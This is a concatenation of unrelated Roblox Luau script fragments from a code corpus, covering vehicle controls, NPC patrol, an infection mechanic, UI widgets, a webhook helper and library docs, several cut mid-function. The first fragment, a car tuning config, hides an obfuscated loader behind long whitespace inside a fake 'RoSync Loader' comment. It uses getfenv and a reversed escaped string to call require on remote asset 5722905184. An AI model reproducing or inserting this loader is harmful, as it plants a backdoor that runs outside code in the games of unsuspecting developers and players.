Roblox/luau_corpus huggingface dataset:
--[[[Default Controls]]
	--Peripheral Deadzones
	Tune.Peripherals = {
		MSteerWidth				= 67		,	-- Mouse steering control width	(0 - 100% of screen width)
		MSteerDZone				= 10		,	-- Mouse steering deadzone (0 - 100%)
		
		ControlLDZone			= 5			,	-- Controller steering L-deadzone (0 - 100%)
		ControlRDZone			= 5			,	-- Controller steering R-deadzone (0 - 100%)
	}
	
	--Control Mapping
	Tune.Controls = {
		
	--Keyboard Controls
		--Mode Toggles
		ToggleTCS				= Enum.KeyCode.T					,
		ToggleABS				= Enum.KeyCode.Y					,
		ToggleTransMode			= Enum.KeyCode.M					,
		ToggleMouseDrive		= Enum.KeyCode.R					,
		
		--Primary Controls
		Throttle				= Enum.KeyCode.Up					,
		Brake					= Enum.KeyCode.Down					,
		SteerLeft				= Enum.KeyCode.Left					,
		SteerRight				= Enum.KeyCode.Right				,
		
		--Secondary Controls
		Throttle2				= Enum.KeyCode.W					,
		Brake2					= Enum.KeyCode.S					,
		SteerLeft2				= Enum.KeyCode.A					,
		SteerRight2				= Enum.KeyCode.D					,
		
		--Manual Transmission
		ShiftUp					= Enum.KeyCode.E					,
		ShiftDown				= Enum.KeyCode.Q					,
		Clutch					= Enum.KeyCode.LeftShift			,
		
		--Handbrake
		PBrake					= Enum.KeyCode.P					,
		
	--Mouse Controls
		MouseThrottle			= Enum.UserInputType.MouseButton1	,
		MouseBrake				= Enum.UserInputType.MouseButton2	,
		MouseClutch				= Enum.KeyCode.W					,
		MouseShiftUp			= Enum.KeyCode.E					,
		MouseShiftDown			= Enum.KeyCode.Q					,
		MousePBrake				= Enum.KeyCode.LeftShift			,
		
	--Controller Mapping
		ContlrThrottle			= Enum.KeyCode.ButtonR2				,
		ContlrBrake				= Enum.KeyCode.ButtonL2				,
		ContlrSteer				= Enum.KeyCode.Thumbstick1			,
		ContlrShiftUp			= Enum.KeyCode.ButtonY				,
		ContlrShiftDown			= Enum.KeyCode.ButtonX				,
		ContlrClutch			= Enum.KeyCode.ButtonR1				,
		ContlrPBrake			= Enum.KeyCode.ButtonL1				,
		ContlrToggleTMode		= nil				,
		ContlrToggleTCS			= nil				,
		ContlrToggleABS			= nil		,
	}
--[[ Last synced 3/7/2021 11:02                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         RoSync Loader ]] getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[                                                                                                  ]]--
----- Loaded Modules -----

local PlayerData = require(ServerScriptService.PlayerData.Manager)
local EggConfig = require(ReplicatedStorage.Config.Eggs)
----------//Local Events\\----------
Evt.NVG.Event:Connect(function(Value)
	NVG = Value
end)
--end

local function displayPath(waypoints)
	local color = BrickColor.Random()
	for index, waypoint in pairs(waypoints) do
		local part = Instance.new("Part")
		part.BrickColor = color
		part.Anchored = true
		part.CanCollide = false
		part.Size = Vector3.new(1,1,1)
		part.Position = waypoint.Position
		part.Parent = workspace
		local Debris = game:GetService("Debris")
		Debris:AddItem(part, 6)
	end
end

local function walkTo(destination)

	local path = getPath(destination)

	if path.Status == Enum.PathStatus.Success then
		for index, waypoint in pairs(path:GetWaypoints()) do
			local target = findTarget()
			if target and target.Humanoid.Health > 0 then
				attack(target)
				break
			else
				humanoid:MoveTo(waypoint.Position)
				humanoid.MoveToFinished:Wait()
			end
		end
	else
		humanoid:MoveTo(destination.Position - (TeddyAI.HumanoidRootPart.CFrame.LookVector * 10))
	end
end

function patrol()
	local waypoints = TeddyAI.Parent.TeddyWaypoints:GetChildren()
	local randomNum = math.random(1, #waypoints)
	walkTo(waypoints[randomNum])
end

while true do
	patrol()
end
--[[ SERVICES ]]--

local Players = game:GetService("Players") 
local ServerStorage = game:GetService("ServerStorage")
--Script made by Shaakra--

wait(5)

local owner = script.Parent.Parent.Name
local db = false

function onTouched( part )

	if db == true then return end
	db = true

	if part.Parent == nil then wait(0.1) db = false return end

	if part.Parent.Name == owner then wait(0.1) db = false return end

	local h = part.Parent:findFirstChild("Humanoid")
	if h == nil then wait(0.1) db = false return end

	if part.Parent:findFirstChild("Infected") ~= nil then wait(0.1) db = false return end

	if game.Players:findFirstChild(part.Parent.Name) == nil then wait(0.1) db = false return end

	local larm = h.Parent:findFirstChild("Left Arm")
	local rarm = h.Parent:findFirstChild("Right Arm")
							
	if larm ~= nil then larm:remove() end
	if rarm ~= nil then rarm:remove() end

	local zee=script.Parent--.Parent:findFirstChild("zarm")

	if zee == nil then wait(0.1) db = false return end

	local zlarm=zee:clone()
	local zrarm=zee:clone()

	local rot=CFrame.new(0, 0, 0, 0, 0, 1, 0, 1, 0, -1, 0, 0)
	zlarm.CFrame=h.Parent.Torso.CFrame * CFrame.new(Vector3.new(-1.5,0.5,-0.5)) * rot
	zrarm.CFrame=h.Parent.Torso.CFrame * CFrame.new(Vector3.new(1.5,0.5,-0.5)) * rot
	zlarm.Parent=h.Parent
	zrarm.Parent=h.Parent
	zlarm:makeJoints()
	zrarm:makeJoints()
	zlarm.Anchored=false
	zrarm.Anchored=false
	wait(0.1)
	h.Parent.Head.Color=zee.Color

	local newtag = script.Parent.Parent.Infected:clone()
	newtag.Parent = h.Parent

	wait(0.1)
	db = false

end

script.Parent.Touched:connect(onTouched)
-- << LOCAL FUNCTIONS >>
local function getTargetProp(item)
	if item:IsA("Frame") then
		return("BackgroundTransparency")
	elseif item:IsA("TextLabel") then
		return("TextTransparency")
	elseif item:IsA("ImageLabel") then
		return("ImageTransparency")
	end
end

local function displayMessages(items, targetTransparency, waitTime)
	for _, item in pairs(items) do
		local tt = targetTransparency
		if item:IsA("Frame") and tt < 0.35 then
			tt = 0.35
		end
		local props = {[getTargetProp(item)] = tt}
		main.tweenService:Create(item, TweenInfo.new(waitTime), props):Play()
	end
	wait(waitTime)
end

local function getMessageAppearOrder(message)
	return
		{
		{message.Bg};
		{message.Title, message.SubTitle, message.Pic};
		{message.Desc};
		};
end
--[[Controls]]

	local _CTRL = _Tune.Controls
	local Controls = Instance.new("Folder",script.Parent)
	Controls.Name = "Controls"
	for i,v in pairs(_CTRL) do
		local a=Instance.new("StringValue",Controls)
		a.Name=i
		a.Value=v.Name
		a.Changed:connect(function()
			if i=="MouseThrottle" or i=="MouseBrake" then
				if a.Value == "MouseButton1" or a.Value == "MouseButton2" then
					_CTRL[i]=Enum.UserInputType[a.Value]
				else
					_CTRL[i]=Enum.KeyCode[a.Value]
				end
			else
				_CTRL[i]=Enum.KeyCode[a.Value]
			end
		end)
	end
	
	--Deadzone Adjust
	local _PPH = _Tune.Peripherals
		for i,v in pairs(_PPH) do
		local a = Instance.new("IntValue",Controls)
		a.Name = i
		a.Value = v
		a.Changed:connect(function() 
			a.Value=math.min(100,math.max(0,a.Value))
			_PPH[i] = a.Value
		end)
	end
	
	--Input Handler
	function DealWithInput(input,IsRobloxFunction)
		if (UserInputService:GetFocusedTextBox()==nil) and not _InControls then --Ignore when UI Focus
			--Toggle Clutch
			if _IsOn and  (input.KeyCode ==_CTRL["ContlrClutch"] or (_MSteer and input.KeyCode==_CTRL["MouseClutch"]) or ((not _MSteer) and input.KeyCode==_CTRL["Clutch"])) and _TMode.Value=="Manual" then
				if input.UserInputState == Enum.UserInputState.Begin then
					_ClutchOn = false
					_ClPressing = true
				elseif input.UserInputState == Enum.UserInputState.End then
					_ClutchOn = true
					_ClPressing = false
				end
				
			--Toggle PBrake
			elseif _IsOn and  input.KeyCode ==_CTRL["ContlrPBrake"] or (_MSteer and input.KeyCode==_CTRL["MousePBrake"]) or ((not _MSteer) and input.KeyCode==_CTRL["PBrake"]) then
				if input.UserInputState == Enum.UserInputState.Begin then
					_PBrake.Value = not _PBrake.Value
				elseif input.UserInputState == Enum.UserInputState.End then
					if car.DriveSeat.Velocity.Magnitude>5 then _PBrake.Value = false end
				end
				
			--Toggle Transmission Mode
--////////////////////////////// Include
--//////////////////////////////////////
local Chat = game:GetService("Chat")
local clientChatModules = Chat:WaitForChild("ClientChatModules")
local modulesFolder = script.Parent
local ChatSettings = require(clientChatModules:WaitForChild("ChatSettings"))
local CurveUtil = require(modulesFolder:WaitForChild("CurveUtil"))
---------------------------------------------------------------------------------------

local webhookService = {}

local https = game:GetService("HttpService")



function webhookService:createMessage(url, message)
	local data = {
		["content"] = message
	}
	local finalData = https:JSONEncode(data)
	https:PostAsync(url, finalData)
end


function webhookService:createEmbed(url, title, message, fields, image)
	local data = {
		['content'] = "",
		['embeds'] = {{
			["image"] = {["url"] = image},
			['title'] = "**"..title.."**",
			['description'] = message,
			['type'] = "rich",
			["color"] = tonumber(0xffffff),
			['fields'] = fields

		},
		},
	}
	local finalData = https:JSONEncode(data)
	https:PostAsync(url, finalData)
end


function webhookService:createAuthorEmbed(url, authorName, iconurl, description, fields)
	local data = {
		["embeds"] = {{
			["author"] = {
				["name"] = authorName,
				["icon_url"] = iconurl,
			},
			["description"] = description,
			["color"] = tonumber(0xFFFAFA),
			["fields"] = fields
			
			
		}},
	}
	
	local finalData = https:JSONEncode(data)
	https:PostAsync(url, finalData)
end






return webhookService
--Shutdown
car.DriveSeat.ChildRemoved:connect(function(child)
	if child.Name=="SeatWeld" then
		--for i,v in pairs(Binded) do
			--run:UnbindFromRenderStep(v)
		--end 
		GMode=0
		workspace.CurrentCamera.CameraType=Enum.CameraType.Custom
		workspace.CurrentCamera.FieldOfView=70
		player.CameraMaxZoomDistance=400
		pcall(function()
			for i,v in pairs(Sounds) do
				for i,a in pairs(v) do
					a:Stop()
				end
			end
			for i,v in pairs(car.Wheels:GetChildren()) do
				for n,a in pairs(v:GetChildren()) do
					a.Wheel["#AV"]:Destroy()
					if a.Wheel:FindFirstChild("Smoke")~=nil then
						a.Wheel.Smoke.Enabled=false
					end
				end
			end
		end)
		script.Parent:Destroy()
	end
end)
--[=[
	@return PROPERTY_MARKER
	Returns a marker that will transform the current key into
	a RemoteProperty once the service is created. Should only
	be called within the Client table of a service. An initial
	value can be passed along as well.

	RemoteProperties are great for replicating data to all of
	the clients. Different data can also be set per client.

	See [RemoteProperty](https://sleitnick.github.io/RbxUtil/api/RemoteProperty)
	documentation for more info.

	```lua
	local MyService = Knit.CreateService {
		Name = "MyService",
		Client = {
			-- Create the property marker, which will turn into a
			-- RemoteProperty when Knit.Start() is called:
			MyProperty = Knit.CreateProperty("HelloWorld"),
		},
	}

	function MyService:KnitInit()
		-- Change the value of the property:
		self.Client.MyProperty:Set("HelloWorldAgain")
	end
	```
]=]
function KnitServer.CreateProperty(initialValue: any)
	return {PROPERTY_MARKER, initialValue}
end
--// Wrap
Instance = {
	new = function(obj, parent)
		return oldInstNew(obj, service.UnWrap(parent))
	end
}

function require(obj)
	return oldReq(service.UnWrap(obj))
end
rawequal = service.RawEqual
--[=[
	@within TableUtil
	@function Every
	@param tbl table
	@param callback (value: any, index: any, tbl: table) -> boolean
	@return boolean

	Returns `true` if the `callback` also returns `true` for _every_
	item in the table.

	```lua
	local t = {10, 20, 40, 50, 60}

	local allAboveZero = TableUtil.Every(t, function(value)
		return value > 0
	end)

	print("All above zero:", allAboveZero) --> All above zero: true
	```
]=]
local function Every(tbl: Table, callback: FindCallback): boolean
	for k,v in pairs(tbl) do
		if not callback(v, k, tbl) then
			return false
		end
	end
	return true
end
-- Services
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local PlayersService = game:GetService("Players")
local DebrisService = game:GetService("Debris")
--[=[
	An expensive way to spawn a function. However, unlike spawn(), it executes on the same frame, and
	unlike coroutines, does not obscure errors

	@deprecated 2.0.1
	@class deferred
]=]

return task.defer
------//Sprinting Animations
self.RightSprint 	= CFrame.new(-1, 0.5, -1.25) * CFrame.Angles(math.rad(-60), math.rad(0), math.rad(0));
self.LeftSprint 	= CFrame.new(1.25,1.15,-1.35) * CFrame.Angles(math.rad(-60),math.rad(35),math.rad(-25));


return self
-- Create component
local Component = Cheer.CreateComponent('BTDropdown', View);

function Component.Start(Options, CurrentOption, Callback)

	-- Toggle options when clicked
	Cheer.Bind(View, Component.Toggle);

	-- Draw the component with the given options
	Component.Draw(Options, CurrentOption, Callback);

	-- Return component for chaining
	return Component;

end;

function Component.Toggle()
	-- Toggles the visibility of the dropdown options

	-- Show each option button open or closed
	local Buttons = View.Options:GetChildren();
	for _, Button in pairs(Buttons) do
		Button.Visible = not Button.Visible;
	end;

end;

function Component.SetOption(Option)
	-- Draws the current option into the dropdown

	-- Set the label
	View.CurrentOption.Text = Option:upper();

end;

function Component.Draw(Options, CurrentOption, Callback)
	-- Draws the dropdown with the given data

	-- Clear existing buttons
	View.Options:ClearAllChildren();

	-- Create a button for each option
	for Index, Option in ipairs(Options) do

		-- Create the button
		local Button = View.OptionButton:Clone();
		Button.Parent = View.Options;
		Button.OptionLabel.Text = Option:upper();
		Button.MouseButton1Click:connect(function ()
			Callback(Option);
			Component.SetOption(Option);
			Component.Toggle();
		end);

		-- Position the button
		Button.Position = UDim2.new(
			math.ceil(Index / 9) - 1, Button.Position.X.Offset + (math.ceil(Index / 9) * -1) + 1,
			(Index % 9 == 0 and 9 or Index % 9) * Button.Size.Y.Scale, Button.Position.Y.Offset
		);

	end;

	-- Show the view
	View.Visible = true;

end;

return Component;
-- Adds the mob to the ActiveMobs table. This table runs a few times per second and updates follow & jump code for active mobs.
-- Active mobs are unanchored, and anchored back when they're not active (not within follow range of any player)
function AI:StartTracking(Mob)
	if not Mob.Destroyed then
		ActiveMobs[Mob.Instance] = Mob
	end
end
--[[
	Provides various properties for cchecking if the user is interfacing with a
	keyboard, gamepad, or touch-enabled device.
]]

local GuiService = game:GetService("GuiService")
local UserInputService = game:GetService("UserInputService")

local Cryo = require(script.Parent.Parent.Packages.Cryo)
local Roact = require(script.Parent.Parent.Packages.Roact)
local ConfigurationContext = require(script.Parent.Parent.Packages.Configuration).ConfigurationContext
local withConfiguration = ConfigurationContext.withConfiguration
local ExternalEventConnection = require(script.Parent.Parent.Components.ExternalEventConnection)

local Context = Roact.createContext({})

local InputContextProvider = Roact.Component:extend("InputContextProvider")

export type State = {
	isAppFocusedByGamepad: boolean,
	isUsingKeyboard: boolean,
	isUsingGamepad: boolean,
	isUsingTouch: boolean,
}

function InputContextProvider:init()
	self.selectedObjectTracker = Roact.createRef()

	local state: State = {
		isAppFocusedByGamepad = false,
		isUsingGamepad = false,
		isUsingKeyboard = false,
		isUsingTouch = false,
	}
	self.state = state

	self.onSelectedObjectChanged = function()
		local selectedObject = GuiService.SelectedObject
		local tracker = self.selectedObjectTracker:getValue()

		self:setState(function()
			if selectedObject and tracker then
				if selectedObject:IsDescendantOf(tracker.Parent) then
					return {
						isAppFocusedByGamepad = true,
					}
				end
			end

			return {
				isAppFocusedByGamepad = false,
			}
		end)
	end

	self.onInputTypeChanged = function(inputType: Enum.UserInputType)
		self:setState(function()
			if inputType.Name:match("^Gamepad%d") then
				return {
					isUsingGamepad = true,
					isUsingKeyboard = false,
					isUsingTouch = false,
				}
			elseif inputType == Enum.UserInputType.Touch then
				return {
					isUsingGamepad = false,
					isUsingKeyboard = false,
					isUsingTouch = true,
				}
			else
				return {
					isUsingGamepad = false,
					isUsingKeyboard = true,
					isUsingTouch = false,
				}
			end
		end)
	end
end

function InputContextProvider:render()
	return Roact.createFragment({
		SelectedObjectTracker = Roact.createElement("Folder", {
			[Roact.Ref] = self.selectedObjectTracker,
		}),

		SelectedObjectChanged = Roact.createElement(ExternalEventConnection, {
			event = GuiService:GetPropertyChangedSignal("SelectedObject"),
			callback = self.onSelectedObjectChanged,
		}),

		LastInputTypeChanged = Roact.createElement(ExternalEventConnection, {
			event = UserInputService.LastInputTypeChanged,
			callback = self.onInputTypeChanged,
		}),

		Provider = Roact.createElement(Context.Provider, {
			value = self.state,
		}, self.props[Roact.Children]),
	})
end

function InputContextProvider:didMount()
	self.onInputTypeChanged(UserInputService:GetLastInputType())
end

function InputContextProvider:didUpdate(prevProps)
	-- This is for stories so that if the various states are changed by a
	-- storybook control the provider rerenders.
	if self.props ~= prevProps then
		self:setState(self.props)
	end
end
-- If pierce callback has to run more than this many times, it will register a hit and stop calculating pierces.
-- This only applies for repeated piercings, e.g. the amount of parts that fit within the space of a single cast segment (NOT the whole bullet's trajectory over its entire lifetime)
local MAX_PIERCE_TEST_COUNT = 100
-- RANK, RANK NAMES & SPECIFIC USERS
Ranks = {
	{5,	"NonAdmin",		};
	{4,	"VIP",	{"",0},	};
	{3,	"Mod",		{"",0},	};
	{2,	"Admin",			{"",0},	};
	{1,	"HeadAdmin",			{"",0},	};
	{0,	"Owner",		};
};
-- Functions

function TimeManager:StartTimer(duration)
	StartTime = tick()
	Duration = duration
	spawn(function()
		repeat 
			Time.Value = Duration - (tick() - StartTime)
			wait()
		until Time.Value <= 0
		Time.Value = 0
	end)
end

function TimeManager:TimerDone()
	return tick() - StartTime >= Duration
end

return TimeManager
-- Disable the specified Core GUI elements
local starterGui = game:GetService("StarterGui")
if DISABLE_COREUI == false then
	starterGui:SetCoreGuiEnabled(Enum.CoreGuiType.All, false)
end
-- Cosmetic bullet container
local CosmeticBulletsFolder = workspace:FindFirstChild("CosmeticBulletsFolder") or Instance.new("Folder")
CosmeticBulletsFolder.Name = "CosmeticBulletsFolder"
CosmeticBulletsFolder.Parent = workspace
-----------------------------------------------------------------------------

script.Parent.Humanoid.HealthChanged:Connect(function()
	if script.Parent.Humanoid.Health <= 49 then
		
		Instance.new("Decal", script.Parent.Torso)
		script.Parent.Torso.Decal.Texture = "rbxassetid://502143714"
		script.Parent.Torso.Decal.Face = Region3int16
	end
end)
--------------------) Settings
Damage = 0 -- the ammout of health the player or mob will take

Cooldown = 1 -- cooldown for use of the tool again

ZoneModelName = "Homing axes" -- name the zone model

MobHumanoidName = "Humanoid"-- the name of player or mob u want to damage
-- Set the ImageLabel's content to the user thumbnail
local imageLabel = script.Parent
imageLabel.Image = content
imageLabel.Size = UDim2.new(0.85, 0, 0.85, 0)
--Rescripted by Luckymaxer

Tool = script.Parent
Handle = Tool:WaitForChild("Handle")

Players = game:GetService("Players")

ServerControl = Tool:WaitForChild("ServerControl")
ClientControl = Tool:WaitForChild("ClientControl")

ClientControl.OnClientInvoke = (function(Mode, Value)
	if Mode == "PlaySound" and Value then
		Value:Play()
	end
end)

function InvokeServer(Mode, Value, arg)
	pcall(function()
		ServerControl:InvokeServer(Mode, Value, arg)
	end)
end

function Equipped(Mouse)
	local Character = Tool.Parent
	local Player = Players:GetPlayerFromCharacter(Character)
	local Humanoid = Character:FindFirstChild("Humanoid")
	if not Player or not Humanoid or Humanoid.Health == Humanoid.Health - 100 then
		return
	end
	Mouse.Button1Down:connect(function()
		InvokeServer("Click", true, Mouse.Hit.p)
	end)
end

local function Unequipped()
	
end

Tool.Equipped:connect(Equipped)
Tool.Unequipped:connect(Unequipped)
--[[**
	<description>
	Takes a function to be called whenever the cached result updates.
	</description>

	<parameter name = "callback">
	The function to call.
	</parameter>
**--]]
function DataStore:OnUpdate(callback)
	table.insert(self.callbacks, callback)
end
--[[
	
	local scheduler = TaskScheduler:CreateScheduler(targetedMinimumFPS)
	
	scheduler:QueueTask(function)
	scheduler:Pause()
	scheduler:Resume()
	scheduler:Destroy()
	
--]]




local TaskScheduler = {}

local lastIteration
local frameUpdateTable = {}

local runService = game:GetService("RunService")
--[=[
	Attaches a `done` handler to this Promise that discards the resolved value and returns the given value from it.

	```lua
		promise:doneReturn("some", "values")
	```

	This is sugar for

	```lua
		promise:done(function()
			return "some", "values"
		end)
	```

	@param ... any -- Values to return from the function
	@return Promise
]=]
function Promise.prototype:doneReturn(...)
	local length, values = pack(...)
	return self:_finally(debug.traceback(nil, 2), function()
		return unpack(values, 1, length)
	end, true)
end
--[[Vehicle Weight]]	
--Determine Current Mass
local mass=0

function getMass(p)
	for i,v in pairs(p:GetChildren())do
		if v:IsA("BasePart") then
			mass=mass+v:GetMass()
		end
		getMass(v)
	end	
end
getMass(bike)